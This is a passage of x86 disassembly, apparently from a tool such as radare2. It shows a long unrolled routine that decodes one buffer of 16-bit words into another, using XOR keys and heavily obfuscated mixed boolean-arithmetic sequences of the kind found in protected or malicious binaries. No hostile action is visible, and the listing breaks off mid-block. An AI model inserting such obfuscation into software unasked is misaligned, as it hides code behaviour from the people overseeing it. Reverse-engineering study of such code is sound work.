mov ax, word [0x47324a]
xor ax, 0x3068
mov word [0x47344a], ax
mov ax, word [0x47324c]
mov cx, ax
xor cx, 0xff76
xor cx, 0xffff
and cx, 0xff76
shl cx, 1
sub cx, 0xff76
sub ax, cx
mov word [0x47344c], ax
mov ax, word [0x47324e]
mov cx, ax
xor cx, 0xffff
and cx, 0xf77c
and ax, 0x883
or cx, ax
mov word [0x47344e], cx
mov ax, word [0x473250]
xor ax, 0x57ce
mov word [0x473450], ax
mov dx, word [0x473252]
mov ax, dx
and ax, 0x59a5
mov cx, ax
and cx, 0xfffd
mov si, ax
xor si, 0xffff
and si, 2
imul si, cx
mov cx, ax
and cx, 2
or ax, 2
imul ax, cx
add ax, si
mov cx, dx
and cx, 0x59a5
or dx, 0x59a5
add cx, dx
sub cx, ax
mov word [0x473452], cx
mov ax, word [0x473254]
xor ax, 0x92fe
mov word [0x473454], ax
mov ax, word [0x473256]
xor ax, 0xf2c7
mov word [0x473456], ax
mov ax, word [0x473258]
mov dx, ax
xor dx, 0x3e36
xor dx, 0xffff
or dx, dx
xor dx, 0xffff
or dx, 0xc1c9
xor dx, 0xffff
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0x3e36
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x473458], ax
mov ax, word [0x47325a]
xor ax, 0x9b40
mov word [0x47345a], ax
mov ax, word [0x47325c]
mov dx, ax
xor dx, 0xab72
xor dx, 0xffff
and dx, 0xffff
or dx, 0
or dx, 0x548d
add dx, 0xab73
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0xab72
sub ax, dx
mov word [0x47345c], ax
mov dx, word [0x47325e]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
and ax, 0xffff
xor ax, 0xffff
mov cx, ax
and cx, 0xaedb
mov si, ax
xor si, 0x5124
add ax, si
sub ax, cx
mov si, dx
xor si, 0xffff
or si, 0xaedb
and dx, 0x5124
xor dx, 0xffff
and si, dx
xor si, 0xffff
mov cx, si
xor cx, 0xffff
and cx, 0xea57
and si, 0x15a8
or cx, si
xor cx, 0x15a8
and ax, cx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov word [0x47345e], ax
mov ax, word [0x473260]
mov dx, ax
or dx, dx
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
and dx, 0x299c
and ax, 0xd663
or dx, ax
mov word [0x473460], dx
mov dx, word [0x473262]
mov ax, dx
or ax, ax
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
and ax, 0x415
and dx, 0xfbea
or ax, dx
xor ax, 0x38f0
mov word [0x473462], ax
mov dx, word [0x473264]
mov ax, dx
and ax, 0x78b7
mov cx, ax
and cx, 0xfffd
mov si, ax
xor si, 0xffff
and si, 2
imul si, cx
mov cx, ax
and cx, 2
or ax, 2
imul ax, cx
add ax, si
mov cx, dx
and cx, 0x78b7
or dx, 0x78b7
add cx, dx
sub cx, ax
mov word [0x473464], cx
mov ax, word [0x473266]
mov dx, ax
xor dx, 0x7732
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
and dx, 0x7732
shl dx, 1
sub dx, 0x7732
sub ax, dx
mov word [0x473466], ax
mov dx, word [0x473268]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0xf159
xor ax, 0xffff
xor dx, 0xffff
or dx, 0xf159
and ax, dx
xor ax, 0xffff
mov word [0x473468], ax
mov ax, word [0x47326a]
xor ax, 0x357
mov word [0x47346a], ax
mov ax, word [0x47326c]
xor ax, 0x3916
mov word [0x47346c], ax
mov ax, word [0x47326e]
xor ax, 0xb046
mov word [0x47346e], ax
mov ax, word [str.vgWl_]
xor ax, 0x666f
mov word [0x473470], ax
mov ax, word [0x473272]
mov cx, ax
xor cx, 0x6d4e
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
or dx, 0x92b1
add dx, 0x6d4f
shl dx, 1
sub dx, 0x6d4e
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x473472], ax
mov dx, word [0x473274]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xd945
xor ax, 0xffff
xor dx, 0xffff
or dx, 0xd945
and ax, dx
xor ax, 0xffff
mov word [0x473474], ax
mov dx, word [0x473276]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
and ax, 0x61f
mov cx, dx
and cx, 0x61f
xor cx, 0xffff
add dx, 0x61f
add dx, 1
add dx, cx
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x473476], ax
mov dx, word [0x473278]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x94b4
xor dx, 0xffff
or dx, 0x6b4b
and ax, dx
xor ax, 0xffff
mov word [0x473478], ax
mov ax, word [0x47327a]
mov cx, ax
xor cx, 0xffff
and cx, 0x31ab
and ax, 0xce54
or cx, ax
xor cx, 0xd9bf
mov word [str.NuYa], cx
mov ax, word [0x47327c]
mov cx, ax
xor cx, 0xffff
and cx, 0xa52d
mov dx, ax
xor dx, 0xa52d
and dx, ax
or cx, dx
xor cx, 0x47c6
mov word [0x47347c], cx
mov ax, word [0x47327e]
mov si, ax
xor si, 0xffff
mov cx, ax
xor cx, 0xffff
and si, cx
mov cx, ax
or cx, cx
xor cx, 0xffff
or si, cx
xor si, 0xffff
xor si, 0xffff
mov cx, si
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub si, cx
mov dx, si
and dx, 0xc78
xor si, 0xc78
or dx, si
xor ax, 0xffff
or ax, 0xf387
xor dx, 0xffff
mov si, ax
xor si, 0xffff
xor ax, 0xffff
and si, ax
or si, 0
xor si, 0xffff
or si, 0
xor si, 0xffff
mov ax, si
xor ax, 0xffff
mov cx, dx
and cx, ax
mov ax, dx
xor ax, si
add dx, ax
sub dx, cx
mov word [0x47347e], dx
mov ax, word [0x473280]
mov dx, ax
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0x9c2b
mov cx, ax
xor cx, 0xffff
or cx, 0x63d4
and dx, cx
xor dx, 0xffff
xor dx, 0xffff
mov cx, dx
xor cx, 0x63d4
xor cx, 0xffff
or dx, 0x63d4
and dx, cx
shl dx, 1
sub dx, 0x63d4
sub ax, 0xdc18
sub ax, dx
add ax, 0xdc18
mov word [0x473480], ax
mov ax, word [0x473282]
mov dx, ax
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0xc9b1
and ax, 0xc9b1
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x473482], dx
mov ax, word [0x473284]
xor ax, 0xb973
mov word [0x473484], ax
mov ax, word [0x473286]
xor ax, 0x8460
mov word [0x473486], ax
mov ax, word [0x473288]
xor ax, 0x414
mov word [0x473488], ax
mov ax, word [0x47328a]
mov cx, ax
and cx, 0x8e14
shl cx, 1
add ax, 0x8e14
xor cx, 0xffff
add ax, cx
add ax, 1
mov word [0x47348a], ax
mov ax, word [0x47328c]
xor ax, 0x920f
mov word [0x47348c], ax
mov ax, word [0x47328e]
xor ax, 0x5cde
mov word [0x47348e], ax
mov ax, word [0x473290]
mov cx, ax
xor cx, 0xffff
and cx, 0xa91f
and ax, 0x56e0
or cx, ax
xor cx, 0xa11f
mov word [0x473490], cx
mov ax, word [0x473292]
xor ax, 0x1983
mov word [0x473492], ax
mov ax, word [0x473294]
mov cx, ax
xor cx, 0x68c4
xor cx, 0xffff
and cx, 0x68c4
shl cx, 1
sub cx, 0x68c4
sub ax, cx
mov word [0x473494], ax
mov ax, word [0x473296]
mov cx, ax
and cx, 0x3b4c
shl cx, 1
add ax, 0x3b4c
sub ax, cx
mov word [0x473496], ax
mov ax, word [0x473298]
mov cx, ax
xor cx, 0xffff
and cx, 0x8b63
and ax, 0x749c
or cx, ax
mov word [0x473498], cx
mov ax, word [0x47329a]
mov dx, ax
xor dx, 0xffff
and dx, 0x5cde
mov cx, ax
and cx, 0xa321
or dx, cx
xor dx, 0xa321
mov cx, ax
xor cx, 0xffff
and cx, 0xffff
or cx, 0
xor cx, 0xffff
mov si, dx
xor si, cx
and si, dx
or si, 0x52b2
xor si, 0xffff
xor ax, 0xffff
and ax, 0x52b2
xor si, 0xffff
xor ax, 0xffff
and si, ax
mov word [0x47349a], si
mov ax, word [0x47329c]
xor ax, 0x91e2
mov word [0x47349c], ax
mov ax, word [0x47329e]
mov cx, ax
xor cx, 0x6263
xor cx, 0xffff
mov dx, ax
or dx, 0x6263
and dx, cx
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x6263
sub ax, dx
mov word [0x47349e], ax
mov ax, word [0x4732a0]
xor ax, 0x4ff5
mov word [0x4734a0], ax
mov ax, word [0x4732a2]
xor ax, 0xe43b
mov word [0x4734a2], ax
mov ax, word [0x4732a4]
mov cx, ax
xor cx, 0xffff
and cx, 0x75f9
and ax, 0x8a06
or cx, ax
mov word [0x4734a4], cx
mov dx, word [0x4732a6]
mov ax, dx
xor ax, 0xffff
mov cx, ax
xor cx, 0xee8f
xor cx, 0xffff
or ax, 0xee8f
and ax, cx
and dx, 0x1170
mov cx, dx
xor cx, 0xffff
mov si, ax
and si, cx
mov cx, ax
xor cx, dx
add ax, cx
sub ax, si
xor ax, 0x3ff4
mov word [0x4734a6], ax
mov dx, word [0x4732a8]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
or ax, 0x2f5d
add ax, 0xd0a3
and dx, 0x2f5d
mov si, ax
or si, dx
xor si, 0xffff
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
or si, ax
xor si, 0xffff
xor si, 0x937b
mov word [0x4734a8], si
mov ax, word [0x4732aa]
mov cx, ax
xor cx, 0x6ca
xor cx, 0xffff
and cx, 0x6ca
shl cx, 1
sub cx, 0x6ca
sub ax, cx
mov word [0x4734aa], ax
mov ax, word [0x4732ac]
mov dx, ax
xor dx, 0xec75
xor dx, 0xffff
and dx, 0xec75
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0xec75
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x4734ac], ax
mov ax, word [0x4732ae]
xor ax, 0xc810
mov word [0x4734ae], ax
mov ax, word [0x4732b0]
xor ax, 0x8086
mov word [0x4734b0], ax
mov ax, word [0x4732b2]
mov cx, ax
and cx, 0x44aa
shl cx, 1
add ax, 0x44aa
sub ax, cx
mov word [0x4734b2], ax
mov ax, word [0x4732b4]
mov si, ax
xor si, 0xffff
mov cx, ax
xor cx, 0xffff
or si, si
xor si, 0xffff
or cx, cx
xor cx, 0xffff
or si, cx
xor si, 0xffff
mov di, si
xor di, 0xffff
mov dx, di
and dx, 0x5fe3
and si, 0xa01c
or dx, si
xor dx, 0x1fec
or di, 0xbff0
xor di, 0xffff
and di, 0xffff
or dx, di
xor dx, 0xffff
or ax, 0xbff0
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x4734b4], dx
mov ax, word [0x4732b6]
xor ax, 0xa311
mov word [0x4734b6], ax
mov dx, word [0x4732b8]
mov ax, dx
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0xf009
xor ax, 0xffff
and ax, 0xffff
mov cx, dx
and cx, 0xff6
xor cx, 0xffff
add dx, 0xff6
add dx, 1
add dx, cx
xor dx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
mov si, ax
and si, dx
xor si, 0xffff
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
xor si, 0xffff
xor ax, 0xffff
or si, ax
mov word [0x4734b8], si
mov ax, word [0x4732ba]
xor ax, 0x3e69
mov word [0x4734ba], ax
mov ax, word [0x4732bc]
mov cx, ax
xor cx, 0xffff
and cx, 0xe4c
mov dx, ax
xor dx, 0xe4c
and dx, ax
or cx, dx
mov word [0x4734bc], cx
mov ax, word [0x4732be]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
mov si, ax
and si, si
xor si, 0xffff
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
or dx, si
and dx, 0x8ca0
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
or ax, 0x8ca0
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor ax, 0xffff
or dx, ax
mov word [0x4734be], dx
mov ax, word [0x4732c0]
xor ax, 0xe404
mov word [0x4734c0], ax
mov ax, word [0x4732c2]
mov cx, ax
xor cx, 0x89
xor cx, 0xffff
and cx, 0x89
shl cx, 1
sub cx, 0x89
sub ax, cx
mov word [0x4734c2], ax
mov ax, word [0x4732c4]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
and dx, 0xbf79
and ax, 0x4086
or dx, ax
xor dx, 0x9ec7
mov word [0x4734c4], dx
mov ax, word [0x4732c6]
mov cx, ax
xor cx, 0xbf41
xor cx, 0xffff
and cx, 0xbf41
shl cx, 1
sub cx, 0xbf41
sub ax, cx
mov word [0x4734c6], ax
mov dx, word [0x4732c8]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0xca33
and dx, 0xca33
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x4734c8], ax
mov ax, word [0x4732ca]
xor ax, 0xa914
mov word [0x4734ca], ax
mov cx, word [0x4732cc]
mov dx, cx
xor dx, 0xffff
and dx, 0x2b60
and cx, 0xd49f
mov ax, dx
and ax, cx
xor dx, cx
or ax, dx
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0xb4eb
xor dx, 0xffff
xor ax, 0xffff
or ax, 0xb4eb
and dx, ax
xor dx, 0xffff
mov word [0x4734cc], dx
mov ax, word [0x4732ce]
mov dx, ax
or dx, dx
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
mov si, ax
xor si, 0xffff
and cx, si
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
or dx, dx
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
xor dx, 0xffff
or dx, 0xbc91
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
xor ax, 0xffff
mov cx, ax
and cx, 0xbc91
mov si, ax
xor si, 0x436e
add ax, si
sub ax, cx
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x4734ce], dx
mov cx, word [0x4732d0]
mov dx, cx
xor dx, 0xffff
and dx, 0x59b3
and cx, 0xa64c
mov ax, dx
and ax, cx
xor dx, cx
or ax, dx
mov cx, ax
xor cx, 0xffff
and cx, 0xa3a2
and ax, 0x5c5d
or cx, ax
xor cx, 0xd3f
mov word [0x4734d0], cx
mov ax, word [0x4732d2]
xor ax, 0x5c91
mov word [0x4734d2], ax
mov ax, word [0x4732d4]
xor ax, 0xee5b
mov word [0x4734d4], ax
mov ax, word [0x4732d6]
mov cx, ax
and cx, 0x16f0
shl cx, 1
add ax, 0x16f0
sub ax, cx
mov word [0x4734d6], ax
mov ax, word [0x4732d8]
mov cx, ax
and cx, 0x5989
shl cx, 1
add ax, 0x5989
sub ax, cx
mov word [0x4734d8], ax
mov ax, word [0x4732da]
xor ax, 0x95c
mov word [0x4734da], ax
mov ax, word [0x4732dc]
xor ax, 0xa743
mov word [0x4734dc], ax
mov dx, word [0x4732de]
mov ax, dx
xor ax, 0xffff
and ax, 0x607b
mov cx, dx
xor cx, 0x9f84
xor cx, 0xffff
or dx, 0x9f84
and dx, cx
or ax, dx
mov cx, ax
xor cx, 0xffff
and cx, 0xe9fc
and ax, 0x1603
or cx, ax
xor cx, 0x7c22
mov word [0x4734de], cx
mov ax, word [0x4732e0]
xor ax, 0x9308
mov word [0x4734e0], ax
mov ax, word [0x4732e2]
xor ax, 0x3a7d
mov word [0x4734e2], ax
mov ax, word [0x4732e4]
xor ax, 0x9c15
mov word [0x4734e4], ax
mov ax, word [0x4732e6]
mov cx, ax
and cx, 0xe422
shl cx, 1
sub ax, 0x1bde
sub ax, cx
mov word [0x4734e6], ax
mov ax, word [0x4732e8]
xor ax, 0xfe94
mov word [0x4734e8], ax
mov ax, word [0x4732ea]
xor ax, 0x6cc0
mov word [0x4734ea], ax
mov ax, word [0x4732ec]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x7762
mov cx, ax
and cx, 0x7762
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0x7762
add dx, 0x889e
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add dx, 0x6ede
sub dx, 0x889d
sub dx, 0x6ede
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x4734ec], ax
mov dx, word [0x4732ee]
mov ax, dx
xor ax, 0xffff
and ax, 0x4bb5
mov cx, dx
and cx, 0xb44a
or ax, cx
xor ax, 0xb44a
and ax, 0x595a
and dx, 0xa6a5
or ax, dx
mov dx, ax
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0xe691
xor ax, 0xffff
or ax, 0x196e
and dx, ax
xor dx, 0xffff
mov word [0x4734ee], dx
mov ax, word [0x4732f0]
mov cx, ax
xor cx, 0xffff
mov si, ax
xor si, cx
and si, ax
mov cx, si
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub si, cx
and si, si
xor si, 0xffff
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
mov dx, si
and dx, 0x6cfa
xor si, 0x6cfa
or dx, si
xor ax, 0xffff
mov cx, ax
and cx, 0x9305
xor cx, 0xffff
add ax, 0x9305
add ax, 1
add ax, cx
or dx, dx
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
xor ax, 0xffff
and cx, ax
or dx, cx
xor dx, 0xffff
xor dx, 0xffff
mov word [0x4734f0], dx
mov ax, word [0x4732f2]
mov si, ax
xor si, 0xffff
mov cx, ax
xor cx, 0xffff
and cx, 0xf2b9
mov dx, ax
and dx, 0xd46
or cx, dx
xor cx, 0xd46
and si, cx
mov dx, si
xor dx, 0xffff
xor si, 0xffff
or dx, si
and dx, 0xffff
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
and dx, 0xa0c9
xor ax, 0xffff
and ax, 0x5f36
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
xor ax, 0xffff
and dx, ax
mov word [0x4734f2], dx
mov ax, word [0x4732f4]
xor ax, 0x49ba
mov word [0x4734f4], ax
mov ax, word [0x4732f6]
mov cx, ax
and cx, 0x5626
shl cx, 1
add ax, 0x5626
sub ax, cx
mov word [0x4734f6], ax
mov ax, word [0x4732f8]
mov dx, ax
and dx, 0xf327
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or cx, 0xcd8
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
shl dx, 1
add ax, 0xf327
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x4734f8], ax
mov ax, word [0x4732fa]
mov cx, ax
xor cx, 0xffff
and cx, 0x8d1b
and ax, 0x72e4
or cx, ax
xor cx, 0x41f5
mov word [0x4734fa], cx
mov ax, word [0x4732fc]
mov si, ax
or si, si
xor si, 0xffff
mov cx, ax
or cx, cx
xor cx, 0xffff
xor si, 0xffff
xor cx, 0xffff
and si, cx
mov dx, si
xor dx, 0xffff
and dx, 0xad0c
and si, 0x52f3
or dx, si
xor dx, 0x52f3
or dx, 0x9e28
xor dx, 0xffff
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
mov cx, ax
xor cx, 0x61d7
and cx, ax
mov ax, cx
xor ax, 0xffff
mov si, dx
and si, ax
mov ax, dx
xor ax, cx
add dx, ax
sub dx, si
xor dx, 0xffff
mov word [0x4734fc], dx
mov dx, word [0x4732fe]
mov ax, dx
or ax, ax
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
xor ax, 0xffff
and ax, 0xc405
xor dx, 0xffff
and dx, 0x3bfa
or ax, dx
xor ax, 0xffff
mov word [0x4734fe], ax
mov ax, word [0x473300]
xor ax, 0x7c7a
mov word [0x473500], ax
mov ax, word [0x473302]
xor ax, 0x5415
mov word [0x473502], ax
mov dx, word [0x473304]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
xor ax, 0xffff
or ax, 0x9667
xor dx, 0xffff
or dx, 0x6998
mov si, ax
xor si, 0xffff
mov cx, dx
xor cx, 0xffff
or si, cx
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
and si, ax
xor si, 0xffff
xor si, 0xffff
mov word [0x473504], si
mov ax, word [0x473306]
mov dx, ax
and dx, 0x45b
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x517a
add ax, 0x45b
sub ax, 0x517a
add ax, 0xc4ca
sub ax, dx
sub ax, 0xc4ca
mov word [0x473506], ax
mov ax, word [0x473308]
xor ax, 0x923b
mov word [0x473508], ax
mov ax, word [0x47330a]
xor ax, 0x96ae
mov word [0x47350a], ax
mov dx, word [0x47330c]
mov si, dx
xor si, 0xffff
and si, 0xffff
or si, 0
mov ax, dx
xor ax, 0xffff
and si, ax
xor si, 0xffff
mov ax, si
xor ax, 0xffff
or ax, 0x5a06
and si, 0xa5f9
xor si, 0xffff
and ax, si
xor ax, 0xffff
mov di, dx
xor di, 0xffff
mov si, di
and si, 0x686e
and dx, 0x9791
or si, dx
xor si, 0xcd97
or di, 0x5a06
xor di, 0xffff
and di, 0xffff
or si, di
xor si, 0xffff
xor ax, 0xffff
xor si, 0xffff
xor si, 0xffff
mov cx, ax
xor cx, si
and cx, ax
mov word [0x47350c], cx
mov ax, word [0x47330e]
mov cx, ax
xor cx, 0xffce
xor cx, 0xffff
and cx, 0xffce
shl cx, 1
sub cx, 0xffce
sub ax, cx
mov word [0x47350e], ax
mov ax, word [0x473310]
mov dx, ax
or dx, dx
xor dx, 0xffff
or dx, 0xf520
xor dx, 0xffff
xor ax, 0xffff
and ax, 0xf520
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x473510], dx
mov ax, word [0x473312]
mov dx, ax
xor dx, 0xffff
mov si, ax
xor si, 0xffff
mov cx, ax
xor cx, 0xffff
or si, cx
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
and dx, si
xor dx, 0xffff
and dx, 0xd188
or ax, 0xd188
or ax, ax
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x473512], dx
mov cx, word [0x473314]
mov ax, cx
xor ax, 0xffff
and ax, 0x978
and cx, 0xf687
mov dx, cx
xor dx, 0xffff
mov si, ax
and si, dx
mov dx, ax
xor dx, cx
add ax, dx
sub ax, si
mov cx, ax
xor cx, 0x19c6
xor cx, 0xffff
and cx, 0x19c6
shl cx, 1
sub cx, 0x19c6
sub ax, cx
mov word [0x473514], ax
mov dx, word [0x473316]
mov ax, dx
or ax, ax
xor ax, 0xffff
or ax, 0x3148
xor ax, 0xffff
xor dx, 0xffff
and dx, 0x3148
or ax, dx
xor ax, 0xffff
mov word [0x473516], ax
mov dx, word [0x473318]
mov ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
and ax, 0xa959
mov si, dx
and si, 0x56a6
xor si, 0xffff
xor dx, 0xffff
or dx, 0xa959
xor si, 0xffff
xor dx, 0xffff
or si, dx
or ax, si
mov word [0x473518], ax
mov dx, word [0x47331a]
mov ax, dx
or ax, ax
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0x4791
add ax, 0xb86f
mov cx, dx
xor cx, 0x4791
xor cx, 0xffff
or dx, 0x4791
and dx, cx
or ax, dx
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0xf99f
xor dx, 0xffff
xor ax, 0xffff
or ax, 0xf99f
and dx, ax
xor dx, 0xffff
mov word [0x47351a], dx
mov ax, word [0x47331c]
xor ax, 0xe41e
mov word [0x47351c], ax
mov ax, word [0x47331e]
mov cx, ax
xor cx, 0xffff
and cx, 0xb6a4
and ax, 0x495b
or cx, ax
xor cx, 0x75c8
mov word [0x47351e], cx
mov ax, word [0x473320]
mov cx, ax
and cx, 0x11f2
shl cx, 1
sub ax, 0xee0e
xor edx, edx
sub dx, cx
add ax, dx
mov word [0x473520], ax
mov ax, word [0x473322]
mov dx, ax
xor dx, 0xffff
and dx, 0x2c7b
mov si, ax
and si, 0xd384
xor si, 0xffff
xor ax, 0xffff
or ax, 0x2c7b
xor si, 0xffff
xor ax, 0xffff
or si, ax
mov ax, dx
xor ax, 0xffff
mov cx, si
xor cx, 0xffff
and ax, cx
or dx, si
xor dx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
or dx, 0x2261
xor dx, 0xffff
xor ax, 0xffff
and ax, 0x2261
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x473522], dx
mov dx, word [0x473324]
mov si, dx
xor si, 0xffff
mov ax, si
and ax, 0xa50
xor ax, 0xffff
and si, 0xa50
xor si, 0xffff
xor ax, 0xffff
xor si, 0xffff
or ax, si
mov cx, dx
xor cx, 0xffff
xor dx, 0xffff
and cx, dx
xor cx, 0xffff
and cx, 0xf5af
or ax, cx
mov word [0x473524], ax
mov ax, word [0x473326]
mov cx, ax
and cx, cx
xor cx, 0xffff
mov si, ax
add si, si
add si, 1
add si, cx
xor si, 0xffff
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
or dx, 0
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
and dx, 0xbf44
xor ax, 0xffff
and ax, 0x40bb
or dx, ax
xor dx, 0xffff
mov word [0x473526], dx
mov ax, word [0x473328]
mov cx, ax
xor cx, 0xffff
and cx, 0x2d7e
and ax, 0xd281
or cx, ax
xor cx, 0x879e
mov word [0x473528], cx
mov ax, word [0x47332a]
mov dx, ax
xor dx, 0x407f
and dx, ax
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0xbf80
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x47352a], ax
mov ax, word [0x47332c]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov si, ax
sub si, cx
mov cx, ax
xor cx, 0xffff
mov dx, si
add dx, 1
xor si, 0xffff
or si, cx
add si, dx
mov di, si
xor di, 0xffff
mov dx, di
and dx, 0xec45
and si, 0x13ba
or dx, si
xor dx, 0xd37c
or di, 0xc0c6
xor di, 0xffff
and di, 0xffff
or dx, di
xor dx, 0xffff
or ax, 0xc0c6
and ax, ax
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
mov cx, dx
add cx, 1
xor dx, 0xffff
or dx, ax
add dx, cx
mov word [0x47352c], dx
mov ax, word [0x47332e]
mov cx, ax
xor cx, 0xd77a
xor cx, 0xffff
and cx, 0xd77a
shl cx, 1
sub cx, 0xd77a
sub ax, cx
mov word [0x47352e], ax
mov ax, word [0x473330]
xor ax, 0x5ec1
mov word [0x473530], ax
mov ax, word [0x473332]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
mov si, ax
and si, si
xor si, 0xffff
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
mov cx, si
xor cx, 0xffff
mov di, dx
and di, cx
mov cx, dx
xor cx, si
add dx, cx
sub dx, di
and dx, dx
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
mov si, dx
and si, 0xd544
xor dx, 0xd544
or si, dx
and ax, 0xd544
xor ax, 0xffff
and si, ax
mov ax, si
xor ax, 0xffff
and ax, 0xca73
and si, 0x358c
or ax, si
